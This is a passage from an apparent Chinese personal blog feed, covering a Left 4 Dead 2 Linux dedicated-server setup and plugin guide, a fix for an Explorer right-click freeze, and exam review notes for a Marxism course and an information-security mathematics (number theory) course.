class="line"></span><br><span class="line">//猎人跳跃角度</span><br><span class="line">sm_cvar hunter_pounce_max_loft_angle "150"</span><br><span class="line"></span><br><span class="line">//猎人爪子伤害值,默认6</span><br><span class="line">sm_cvar hunter_pz_claw_dmg "50"</span><br><span class="line"></span><br><span class="line">//猎人行走速度,默认300</span><br><span class="line">sm_cvar z_hunter_speed "1000"</span><br><span class="line"></span><br><span class="line">//猎人飞扑的速度,默认700</span><br><span class="line">sm_cvar hunter_pounce_air_speed "1500"</span><br><span class="line"></span><br><span class="line">//猎人飞跃距离,默认1000</span><br><span class="line">sm_cvar hunter_leap_away_give_up_range "2000"</span><br><span class="line"></span><br><span class="line">//猎人最长距离的飞扑仰角,默认45</span><br><span class="line">sm_cvar hunter_pounce_max_loft_angle "45"</span><br><span class="line"></span><br><span class="line">//猎人的扑倒范围,默认240</span><br><span class="line">sm_cvar z_hunter_claw_force "800"</span><br><span class="line"></span><br><span class="line">//猎人扑倒后的攻击力,默认5</span><br><span class="line">sm_cvar z_pounce_damage "20"</span><br><span class="line"></span><br><span class="line">//猎人扑倒持续伤害间隔,默认1</span><br><span class="line">sm_cvar z_pounce_damage_delay "0.5"</span><br><span class="line"></span><br><span class="line">//-----------------------------------------</span><br></pre></td></tr></table></figure><h2 id="运行"><a href="#运行" class="headerlink" title="运行"></a>运行</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">cd ~/Steam/steamapps/common/"Left 4 Dead 2 Dedicated Server"/</span><br><span class="line">screen -S coop</span><br><span class="line">./srcds_run -game left4dead2 -condebug -secure +port 27015 +map c2m1_highway +exec server.cfg</span><br></pre></td></tr></table></figure><p>别忘记开防火墙里端口UDP协议</p><h2 id="插件安装"><a href="#插件安装" class="headerlink" title="插件安装"></a>插件安装</h2><h3 id="sourcemod"><a href="#sourcemod" class="headerlink" title="sourcemod"></a>sourcemod</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://www.sourcemod.net/downloads.php?branch=stable</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242327679.png"></p><h3 id="metamod"><a href="#metamod" class="headerlink" title="metamod"></a><strong>metamod</strong></h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://www.sourcemm.net/downloads.php?branch=stable</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242327160.png"></p><h3 id="L4DtoolZ"><a href="#L4DtoolZ" class="headerlink" title="L4DtoolZ"></a>L4DtoolZ</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://github.com/Accelerator74/l4dtoolz/releases</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242328765.png"></p><h3 id="解压"><a href="#解压" class="headerlink" title="解压"></a>解压</h3><p>将下载来的三个压缩包解压到一起,得到addons和cfg两个文件夹。如果得到多个文件夹,就把多余文件夹移入addons文件夹,只剩下addons和cfg两个文件夹。</p><p>控制台输入<code>meta list</code>,即可查看安装是否成功</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242328944.png"></p><p>控制台输入<code>sm plugins list</code>,即可查看安装的插件</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242328083.png"></p><h2 id="安装插件(以MultiSlots多人插件为例)"><a href="#安装插件(以MultiSlots多人插件为例)" class="headerlink" title="安装插件(以MultiSlots多人插件为例)"></a>安装插件(以MultiSlots多人插件为例)</h2><p>啊,这个插件**<a href="https://forums.alliedmods.net/showthread.php?t=132408">MultiSlots</a>**搞了我半天==</p><p>因为网上流传的许多是win版本的整合包,我在里面寻找,拿过去用之后发现总是给我报错,说缺失dhooks.ext.so这个运行库</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242328268.png"></p><p>但是整合包里全是dll,找半天才搜到</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242329548.png"></p><p>emmm,之后找到了放到extension里面也没用,还是同样的报错</p><p>看似穷途末路了,但是还是让我找到了这个插件的最初版本</p><p><a href="https://forums.alliedmods.net/showthread.php?t=132408">https://forums.alliedmods.net/showthread.php?t=132408</a></p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242329006.png"></p><p>好耶!(所以说应该能用了)</p><h2 id="添加管理员"><a href="#添加管理员" class="headerlink" title="添加管理员"></a>添加管理员</h2><p>在l4d2控制台输入status会出现 “STEAM_1:1:xxxxxxxxx”这一串就是你的Steam UniqueID,复制一下</p><p>/addons/sourcemod/configs里找admins_simple.ini</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242329116.png"></p><h2 id="插件推荐"><a href="#插件推荐" class="headerlink" title="插件推荐"></a>插件推荐</h2><h3 id="sourcemod的官方论坛"><a href="#sourcemod的官方论坛" class="headerlink" title="sourcemod的官方论坛"></a>sourcemod的官方论坛</h3><p><a href="http://alliedmods.net/">alliedmods.net</a></p><h3 id="电击器修复"><a href="#电击器修复" class="headerlink" title="电击器修复"></a>电击器修复</h3><p>这个是电击器修复,5人及以上的时候不会电起来错误的人</p><p><a href="https://forums.alliedmods.net/showthread.php?p=2647018">https://forums.alliedmods.net/showthread.php?p=2647018</a></p><h3 id="witch惊扰修复"><a href="#witch惊扰修复" class="headerlink" title="witch惊扰修复"></a>witch惊扰修复</h3><p>防止惊扰的witch只会找tab列表里能看到的人等等</p><p><a href="https://forums.alliedmods.net/showthread.php?p=2647014">https://forums.alliedmods.net/showthread.php?p=2647014</a></p><h3 id="榴弹M60正常化"><a href="#榴弹M60正常化" class="headerlink" title="榴弹M60正常化"></a>榴弹M60正常化</h3><p><a href="https://forums.alliedmods.net/showthread.php?p=2694504">https://forums.alliedmods.net/showthread.php?p=2694504</a></p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> linux </tag>
<tag> ubuntu </tag>
<tag> 求生之路 </tag>
</tags>
</entry>
<entry>
<title>右键程序文件夹卡死问题的解决</title>
<link href="/2022/01/16/%E5%8F%B3%E9%94%AE%E7%A8%8B%E5%BA%8F%E6%96%87%E4%BB%B6%E5%A4%B9%E5%8D%A1%E6%AD%BB%E9%97%AE%E9%A2%98%E7%9A%84%E8%A7%A3%E5%86%B3/"/>
<url>/2022/01/16/%E5%8F%B3%E9%94%AE%E7%A8%8B%E5%BA%8F%E6%96%87%E4%BB%B6%E5%A4%B9%E5%8D%A1%E6%AD%BB%E9%97%AE%E9%A2%98%E7%9A%84%E8%A7%A3%E5%86%B3/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252137988.jpg"></p><p>困扰我半年多的老毛病了</p><p>右键管理中删掉百度网盘就行了,出生啊百度网盘</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212252138140.png"></p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> 资源管理器 </tag>
</tags>
</entry>
<entry>
<title>《马克思主义基本原理》求生指南</title>
<link href="/2022/01/04/%E3%80%8A%E9%A9%AC%E5%85%8B%E6%80%9D%E4%B8%BB%E4%B9%89%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86%E3%80%8B%E6%B1%82%E7%94%9F%E6%8C%87%E5%8D%97/"/>
<url>/2022/01/04/%E3%80%8A%E9%A9%AC%E5%85%8B%E6%80%9D%E4%B8%BB%E4%B9%89%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86%E3%80%8B%E6%B1%82%E7%94%9F%E6%8C%87%E5%8D%97/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-300x181.png"></p><h2 id="感受"><a href="#感受" class="headerlink" title="感受"></a>感受</h2><p>有点意难平,才考了77,2.7……感觉自己复习的非常充分,甚至觉得自己能冲击85的,有认识做小抄的人分数比我高一点</p><p>但是只能说不同班老师改卷标准不一样,我们老师还算不错的,有的班卷王才60+,有的班一堆90+的,很离谱。</p><p>复习到的点都是我整理好的,不知道为啥分数这么低。jpg</p><h2 id="导论"><a href="#导论" class="headerlink" title="导论"></a>导论</h2><p>马克思主义的创立与发展:1848年2月共产党宣言的发表,标志着马克思主义的公开问世</p><p>马克思主义的鲜明特征</p><ol><li>科学性</li><li>人民性</li><li>实践性(最根本特征)</li><li>发展性</li></ol><h2 id="第一章-世界的物质性和发展性"><a href="#第一章-世界的物质性和发展性" class="headerlink" title="第一章 世界的物质性和发展性"></a>第一章 世界的物质性和发展性</h2><p>物质观:物质就是不依赖于人类意识而存在,并能为人类的意识所反映的客观实在</p><p>意义</p><ol><li>坚持了唯物主义一元论(物质),和唯心主义一元论(精神)和二元论(物质和精神)划清了界限</li><li>坚持了能动的反映论(思维反映存在)和可知论,批判了不可知论</li><li>体现了唯物论和辩证法的统一,克服了形而上学唯物主义的缺陷</li><li>体现了唯物主义自然观、历史观的统一,奠定了彻底的唯物主义的基础</li></ol><p>事物的普遍联系:联系是指事物内部和事物之间的相互影响、相互制约、相互作用的关系</p><p>联系的特点:客观性、普遍性、多样性、条件性</p><p>发展的实质:新事物的产生和旧事物的灭亡</p><p>为什么新事物是不可战胜的</p><ol><li>新事物有新的要素和功能,适应着新的环境与条件,旧事物不再适应</li><li>新事物是从旧事物的母体中孕育成熟的,既否定了旧事物落后的东西,也保留了一些合理的部分,并且添加了一些旧事物无法容纳的东西</li></ol><p>为什么说对立统一是事物发展的根本规律</p><ol><li>从根本上回答了事物为什么会发展</li><li>是量变质变、否定之否定、唯物辩证法等规律的中心线索</li><li>为人类提供了认识世界改造世界的根本方法,矛盾分析法</li></ol><p>量变与质变的辩证关系</p><ol><li>量变是质变的必要准备</li><li>质变是量变的必然结果,并开创了新的量变</li><li>质变过程中,有旧物质的收缩和新物质的扩张;量变过程中,有部分的质变</li></ol><p>否定之否定</p><ol><li>否定是事物自我否定、自我发展、是事物内部矛盾的结果</li><li>否定是事物发展的环节</li><li>否定联系了新旧事物</li><li>辩证否定本质是扬弃,批判继承</li></ol><p>意义</p><ol><li>否定不是一次性完成的</li><li>揭示了事物发展的前进性与曲折性,说明事物的发展是螺旋式上升的</li></ol><p>方法论</p><ol><li>我们需要树立辩证的否定观,不能形而上学的肯定一切或者否定一切</li><li>我们需要正确看待事物的发展过程,前途是光明的,道路是曲折的</li></ol><p>为什么说唯物辩证法是科学的认识方法</p><ol><li>唯物辩证法能解释世界普遍联系和永恒发展的规律</li><li>人的认识活动,既要符合客观辩证法,又有其固有的辩证规律</li><li>矛盾分析法是对立统一规律在方法论上的体现,是我们认识事物的根本方法</li></ol><p>六个思维能力</p><ol><li>辩证</li><li>历史</li><li>系统</li><li>战略</li><li>底线</li><li>创新</li></ol><h2 id="第二章-实践与认识及其发展规律"><a href="#第二章-实践与认识及其发展规律" class="headerlink" title="第二章 实践与认识及其发展规律"></a>第二章 实践与认识及其发展规律</h2><p>实践的本质和特征:客观实在性、自觉能动性、社会历史性</p><p>实践的决定作用</p><ol><li>实践是认识的来源</li><li>认识的目的</li><li>认识的发展动力</li><li>还是检验真理的唯一标准</li></ol><p>认识运动的总规律:认识的本质是主体在实践基础上对客体的能动反映</p><ol><li>认识世界的目的是改造世界</li><li>认识的真理性只有在实践中才能检验发展</li></ol><p>真理客观性:真理都包含不依赖于人的客观内容,是对客观事物及其规律的正确反映</p><p>真理绝对性:</p><ol><li>主观与客观相符合,不依赖于人,与谬误有原则性的界限</li><li>人类的认识每前进一步,都向无限发展的物质世界接近</li></ol><p>真理相对性:人对客观事物和规律在一定条件下都是有限度的、不完善的</p><p>真理的绝对性和相对性的方法论:</p><ol><li>马克思主义正确反映了人类社会的发展规律,是绝对性</li><li>马克思主义没有穷尽一切事物及其规律的认知,是相对性</li><li>说明我们必须坚持马克思主义为指导思想,并且在实践中丰富和完善它</li></ol><p>一切从实际出发,实事求是</p><ol><li>是马克思主义认识论的根本要求</li><li>是中国共产党思想路线的核心</li></ol><h2 id="第三章-人类社会及其发展规律"><a href="#第三章-人类社会及其发展规律" class="headerlink" title="第三章 人类社会及其发展规律"></a>第三章 人类社会及其发展规律</h2><p>社会存在和社会意识的辩证关系:社会存在决定社会意识,社会意识反映社会存在,并反作用于社会存在</p><p>社会基本矛盾及其运动规律:</p><ol><li>生产力和生产关系,经济基础和上层建筑</li><li>A决定B,B反映A,并反作用于A</li></ol><p>现实意义:</p><ol><li>这一原理<strong>否定了</strong>单纯<strong>以道德</strong>作为评判历史功过是非标准的思想体系(好!!!)</li><li>生产力与生产关系是马克思主义政党指定路线、方针、政策的重要依据</li></ol><p>世界历史:指各民族、各国家通过普遍交往,打破孤立隔绝的状态,进入相互依存、相互联系的世界整体化的历史</p><p>社会基本矛盾、改革、科学技术各自在历史发展中的作用</p><ol><li>社会基本矛盾<ol><li>社会基本矛盾中生产力是最基本的动力因素,是人类社会发展和进步的最终决定力量</li><li>社会基本矛盾决定社会其他矛盾的存在和发展</li><li>社会基本矛盾从根本上影响和促进社会形态的变化和发展</li></ol></li><li>改革<ol><li>解决社会基本矛盾,促进生产力发展推动社会进步</li><li>改变了与生产力不适合的生产关系和与经济基础不适应的上层建筑</li></ol></li><li>科学技术<ol><li>对生产方式产生了深刻影响</li><li>对生活方式产生了巨大影响</li><li>促进了思维方式的变革</li><li><strong>科学技术是把双刃剑</strong></li></ol></li></ol><p>人民群众在历史发展中的作用,是社会历史的主体,是历史的创造者</p><ol><li>决定性作用</li><li>是社会物质财富的创造者</li><li>是社会精神财富的创造者</li><li>是社会变革的决定力量</li></ol><p>群众观点和群众路线</p><ul><li>群众观点<ol><li>坚信人民群众自己解放自己</li><li>全心全意为人民服务</li><li>一切向人民负责</li><li>虚心向群众学习</li></ol></li><li>群众路线<ol><li>一切为了群众,一切依靠群众</li><li>从群众中来,到群众中去</li></ol></li></ul><h2 id="第四章-资本主义的本质及规律"><a href="#第四章-资本主义的本质及规律" class="headerlink" title="第四章 资本主义的本质及规律"></a>第四章 资本主义的本质及规律</h2><p>价值规律及其作用:</p><p>积极作用:</p><ol><li>自发地调节生产资料和劳动力在社会各生产部门之间的分配比例</li><li>自发地刺激社会生产力的发展</li><li>自发地调节社会收入的分配</li></ol><p>消极作用:</p><ol><li>导致社会资源浪费</li><li>阻碍社会技术进步</li><li>导致收入两极分化</li></ol><p>以私有制为基础的商品经济的基本矛盾:私人劳动与社会劳动的矛盾</p><p>马克思劳动价值论理论:</p><ol><li>商品的二因素和生产商品二重性及其相互关系的理论</li><li>价值量的规定性及其变化规律的理论</li><li>价值形式的发展和货币起源的理论</li><li>商品基本矛盾和基本规律及其作用的理论</li></ol><p>意义:</p><ol><li>马克思劳动价值论扬弃了英国古典政治经济学的观点,为剩余价值论的创立奠定基础</li><li>解释了私有制条件下商品经济的基本矛盾</li><li>解释了商品经济的一般规律</li></ol><p>劳动力成为商品,货币转化为资本</p><p>生产剩余价值是资本主义生产方式的绝对规律</p><p>剩余价值理论的意义:</p><ol><li>揭露了资本主义生产关系的剥削本质</li><li>阐明了资产阶级和无产阶级之间阶级斗争的经济根源</li><li>指出了无产阶级革命的必然性</li><li>是马克思经济学说的核心内容和基石,是<strong>无产阶级反对资产阶级,揭示资本主义制度剥削本质的锐利武器</strong>(好!!!)</li></ol><p>资本主义基本矛盾:生产社会化和生产资料私有化的矛盾</p><p>经济危机:生产过剩</p><p>爆发特点:周期性爆发</p><h2 id="第五章-资本主义的发展及其趋势"><a href="#第五章-资本主义的发展及其趋势" class="headerlink" title="第五章 资本主义的发展及其趋势"></a>第五章 资本主义的发展及其趋势</h2><p>垄断的形成:自由竞争-生产集中-资本集中-垄断</p><p>原因:</p><ol><li>当生产高度集中时,极少数企业会联合起来,操纵和控制本部门的生产和销售,以获取高额利润</li><li>企业规模巨大,造成了竞争困难,也会产生垄断</li><li>少数大企业势均力敌,为了避免竞争产生两败俱伤,寻求了某种垄断性的妥协</li></ol><p>垄断资本主义的发展</p><p>国家垄断资本主义是科技进步和社会化生产进一步提高的产物</p><p>经济全球化的表现和影响</p><ul><li>积极影响<ol><li>为发展中国家提供了先进技术和管理经验</li><li>为发展中国家更多就业机会</li><li>推动发展中国家国际贸易发展</li><li>推动发展中国家的跨国公司发展</li></ol></li><li>消极影响<ol><li>发达国家和发展中国家全球化过程中地位收益不平等</li><li>加剧了发展中国家的资源短缺和环境污染</li><li>一定程度上有经济风险</li></ol></li></ul><p>二战后资本主义变化的主要表现</p><ol><li>生产资料的所有制</li><li>垄断资本形式的变化</li><li>劳资关系和分配关系</li><li>社会阶层和阶级结构的变化</li><li>经济调节机制和经济危机形态的变化</li><li>政治制度的变化</li></ol><p>原因:</p><ol><li>科学技术革命和生产力发展</li><li>工人阶级争取自身利益的斗争</li><li>社会主义制度显现的优越性影响了资本主义</li><li>主张改良主义的政党</li></ol><p>实质</p><ol><li>人类社会发展一般规律和资本主义经济规律作用的结果</li><li>这些变化是资本主义框架内的变化,并不是根本上的</li></ol><p>08年国际金融危机以来资本主义的矛盾冲突</p><ul><li>经济发展失调<ol><li>虚拟经济与实体经济发展失衡</li><li>福利风险增加</li><li>债务负担沉重</li></ol></li><li>政治体制失灵<ol><li>西式选举往往难以选贤</li><li>政党利益可能凌驾于国家利益之上</li><li>民主陷阱会阻碍国家治理</li><li>传统精英政治走向衰落</li></ol></li><li>社会融合机制失效<ol><li>社会极端思潮抬头</li><li>社会流动性退化</li><li>社会矛盾激化</li></ol></li></ul><h2 id="第六章-社会主义的发展及其规律"><a href="#第六章-社会主义的发展及其规律" class="headerlink" title="第六章 社会主义的发展及其规律"></a>第六章 社会主义的发展及其规律</h2><p>十个基本原则(<strong>非常重要</strong>)</p><ol><li>资本主义必然灭亡,社会主义必然胜利</li><li>无产阶级是最先进最革命的阶级,肩负着推翻资本主义旧世界、建立社会主义和共产主义新世界的使命</li><li>无产阶级革命是无产阶级进行斗争的最高形式,以建立无产阶级专政的国家为最高目的</li><li>社会主义社会要在生产资料公有制基础上组织生产,以满足全体社会成员的需要为生产的根本目的</li><li>社会主义社会要对社会生产进行有计划的指导和调节,实行按劳分配原则</li><li>社会主义社会要合乎自然规律地改造和利用自然,以实现人与自然的和谐共生</li><li>社会主义社会必须坚持科学的理论指导,大力发展社会主义先进文化</li><li>无产阶级政党是无产阶级的先锋队,社会主义事业必须始终坚持无产阶级政党领导</li><li>社会主义社会要大力解放和发展生产力,逐步消灭剥削和消除两极分化,实现共同富裕和社会全面进步,并最终向共产主义过渡</li><li>共产主义是人类最美好的社会,实现共产主义是共产党人最高理想</li></ol><p>社会主义发展多样性</p><ol><li>生产力发展状况和社会发展状况决定了有不同特点</li><li>历史文化传统差异性</li><li>时代和实践也在不断发展</li></ol><h2 id="第七章-共产主义崇高理想及其最终实现"><a href="#第七章-共产主义崇高理想及其最终实现" class="headerlink" title="第七章 共产主义崇高理想及其最终实现"></a>第七章 共产主义崇高理想及其最终实现</h2><p>共产主义基本特征:</p><ol><li>物质财富极大丰富,消费资料按需分配</li><li>社会关系高度和谐,人们精神境界极大提升</li><li>实现每个人自由而全面的发展,人类从必然王国向自由王国飞跃</li></ol>]]></content>
<categories>
<category> 我爱学习 </category>
</categories>
<tags>
<tag> 求生指南 </tag>
</tags>
</entry>
<entry>
<title>《信息安全数学基础》求生指南</title>
<link href="/2022/01/01/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E6%95%B0%E5%AD%A6%E5%9F%BA%E7%A1%80%E6%B1%82%E7%94%9F%E6%8C%87%E5%8D%97/"/>
<url>/2022/01/01/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E6%95%B0%E5%AD%A6%E5%9F%BA%E7%A1%80%E6%B1%82%E7%94%9F%E6%8C%87%E5%8D%97/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-300x181.png"></p><h2 id="感受"><a href="#感受" class="headerlink" title="感受"></a>感受</h2><p>先说感受,还就是那个崭新出厂,所以考试前三天才开始学非常痛苦,因为这书真的看不下去</p><p>数论部分概念比较简单,但是涉及的计算很多,学到原根解方程那块才知道很多难的点考试是不会考的</p><p>抽代部分看书已经看不懂了,建议配合哈工大的网课食用基础概念,考试会考多项式环那块的简单证明和简单计算,其他就是证明了</p><p>那那么多证明我哪知道考哪些?会有透题的,或许是自己老师,或许是别的老师,总之保持消息畅通</p><p>最后综测80,3.0,算是很满意的成绩了,虽然考试期间有两道计算题我铸币了,算错了好几次最后还是放弃了。</p><h2 id="第一章-整数的可除性"><a href="#第一章-整数的可除性" class="headerlink" title="第一章 整数的可除性"></a>第一章 整数的可除性</h2><p>欧几里得除法</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/21107801-1c5b8f5bc3f4f9b7.png"></p><h3 id="最大公因数"><a href="#最大公因数" class="headerlink" title="最大公因数"></a>最大公因数</h3><p>所有公因数中最大的那个整数,记作 ( a1,…,an )</p><h3 id="最小公倍数"><a href="#最小公倍数" class="headerlink" title="最小公倍数"></a>最小公倍数</h3><p>所有公倍数中最小的那个正整数,记作 [ a1,…,an ]</p><h3 id="整除的进一步性质"><a href="#整除的进一步性质" class="headerlink" title="整除的进一步性质"></a>整除的进一步性质</h3><p>① 若 c ab、(a,c) = 1,则 c b<br>② 若 p 是素数,p ab,则 p a 或 p b<br>③ 若 a₁,a₂,…,an 是 D 的公倍数,则 D [ a1,…,an ]</p><h3 id="真因数"><a href="#真因数" class="headerlink" title="真因数"></a>真因数</h3><p>不包括这个数本身的所有因数,例如 6 的真因数是 1、2、3</p><h3 id="整数分解定理"><a href="#整数分解定理" class="headerlink" title="整数分解定理"></a>整数分解定理</h3><p>若 n a² - b²,n 不整除 a+b、a-b</p><p>则 (n,a+b)、(n,a-b) 是 n 的真因数</p><h3 id="π-x"><a href="#π-x" class="headerlink" title="π (x)"></a>π (x)</h3><p>表示不超过 x 的素数个数,例如 π (2) = 1,π (10) = 4</p><p>素数定理</p><p>lim(x->∞) π(x) / x / lnx = 1</p><h2 id="第二章-同余"><a href="#第二章-同余" class="headerlink" title="第二章 同余"></a>第二章 同余</h2><h3 id="同余"><a href="#同余" class="headerlink" title="同余"></a>同余</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/21107801-4b4af8c1d3aec647.png"></p><h3 id="剩余类"><a href="#剩余类" class="headerlink" title="剩余类"></a>剩余类</h3><p>Ca = { c c∈Z,c ≡ a (mod m) }</p><p>Ca 叫做模 m 的剩余类,c 叫做该类的剩余</p><h3 id="完全剩余系"><a href="#完全剩余系" class="headerlink" title="完全剩余系"></a>完全剩余系</h3><p>r0,r1,… ,rm-1 是模 m 的完全剩余系充要条件:r 的模 m 两两不同余</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-1.png"></p><h3 id="两个模的完全剩余系"><a href="#两个模的完全剩余系" class="headerlink" title="两个模的完全剩余系"></a>两个模的完全剩余系</h3><p>(m1, m2) = 1,若 k1、k2 遍历模 m1、m2 的完全剩余系</p><p>则 k1·m2 + k2·m1 也遍历模 m1、m2 的完全剩余系</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-1.png"></p><h3 id="多个模的完全剩余系"><a href="#多个模的完全剩余系" class="headerlink" title="多个模的完全剩余系"></a>多个模的完全剩余系</h3><p>(m1, … , mx) = 1,若 ki 遍历模 mi 的完全剩余系</p><p>则 k1(m2m3…mx) + k2(m1m3…mx) + … + kx(m1m2…mx-1) 也遍历模 mi 的完全剩余系</p><h3 id="欧拉函数"><a href="#欧拉函数" class="headerlink" title="欧拉函数"></a>欧拉函数</h3><p>整数 1, 2, … , m-1 中与 m 互素的个数叫做欧拉函数,记作:φ(m)</p><p>例如:m = 10,则 1, 3, 7, 9 与 10 互素,φ(m) = 4</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-3.png"></p><h3 id="欧拉函数性质"><a href="#欧拉函数性质" class="headerlink" title="欧拉函数性质"></a>欧拉函数性质</h3><p>φ(mn) = φ(m) φ(n)</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-4.png"></p><p>若 p、q 是素数,则 φ(pq) = pq - p - q + 1</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-5.png"></p><p>若 m = p1^α1 … pk^αk</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-6.png"></p><p>也就是</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-7.png"></p><h3 id="简化剩余系"><a href="#简化剩余系" class="headerlink" title="简化剩余系"></a>简化剩余系</h3><p>和剩余系概念差不多,但是得<strong>和m互素</strong>,也就是 φ (x)的具体值</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-8.png"></p><h3 id="两个模的简化剩余系"><a href="#两个模的简化剩余系" class="headerlink" title="两个模的简化剩余系"></a>两个模的简化剩余系</h3><p>(m1, m2) = 1,若 k1、k2 遍历模 m1、m2 的简化剩余系</p><p>则 k1·m2 + k2·m1 也遍历模 m1、m2 的简化剩余系</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-9.png"></p><h3 id="欧拉定理,费马小定理,Wilson-定理"><a href="#欧拉定理,费马小定理,Wilson-定理" class="headerlink" title="欧拉定理,费马小定理,Wilson 定理"></a>欧拉定理,费马小定理,Wilson 定理</h3><p>欧拉定理</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-10.png"></p><p>费马小定理</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-11.png"></p><p>也就是说 a^(p-1)≡1(mod p)</p><p>Wilson 定理</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-12.png"></p><h3 id="模模重复平方计算法"><a href="#模模重复平方计算法" class="headerlink" title="模模重复平方计算法"></a>模模重复平方计算法</h3><p>先拆解指数,a=1</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-13.png"></p><p>b不停的平方运算,a根据01进行相乘</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-14.png"></p><h2 id="第三章-同余式"><a href="#第三章-同余式" class="headerlink" title="第三章 同余式"></a>第三章 同余式</h2><h3 id="一次同余式求解"><a href="#一次同余式求解" class="headerlink" title="一次同余式求解"></a>一次同余式求解</h3><p>例题</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-16.png"></p><p>解的个数k</p><h3 id="中国剩余定理"><a href="#中国剩余定理" class="headerlink" title="中国剩余定理"></a>中国剩余定理</h3><p>通式</p><p>对方程组</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-17.png"></p><p>求M</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-18.png"></p><p>根据MM‘ ≡1(mod m) 求M’</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-19.png"></p><p>例题</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/21107801-42dcdb0faf2b942e.png"></p><h3 id="中国剩余定理的应用"><a href="#中国剩余定理的应用" class="headerlink" title="中国剩余定理的应用"></a>中国剩余定理的应用</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/21107801-fd544bdbcc16e431.png"></p><h3 id="高次同余式的解数和解法"><a href="#高次同余式的解数和解法" class="headerlink" title="高次同余式的解数和解法"></a>高次同余式的解数和解法</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-20.png"></p><p>至于解法,特几把烦人,我也没上过课所以不知道课上有没有讲,但好像考纲不考</p><p>高次同余式的提升属于是学了就会会了又忘,逆天😭😭😭</p><h3 id="素数模的同余式"><a href="#素数模的同余式" class="headerlink" title="素数模的同余式"></a>素数模的同余式</h3><p>素数模同余式的简化</p><p>先化简</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-21.png"></p><p>然后直接验算就行</p><p>例题</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-22.png"></p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-23.png"></p><p>同余式的解数不超过他的次数</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-24.png"></p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-25.png"></p><p>需要将多项式变成首1</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-26.png"></p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-27.png"></p><h2 id="第四章-二次同余式,平方剩余"><a href="#第四章-二次同余式,平方剩余" class="headerlink" title="第四章 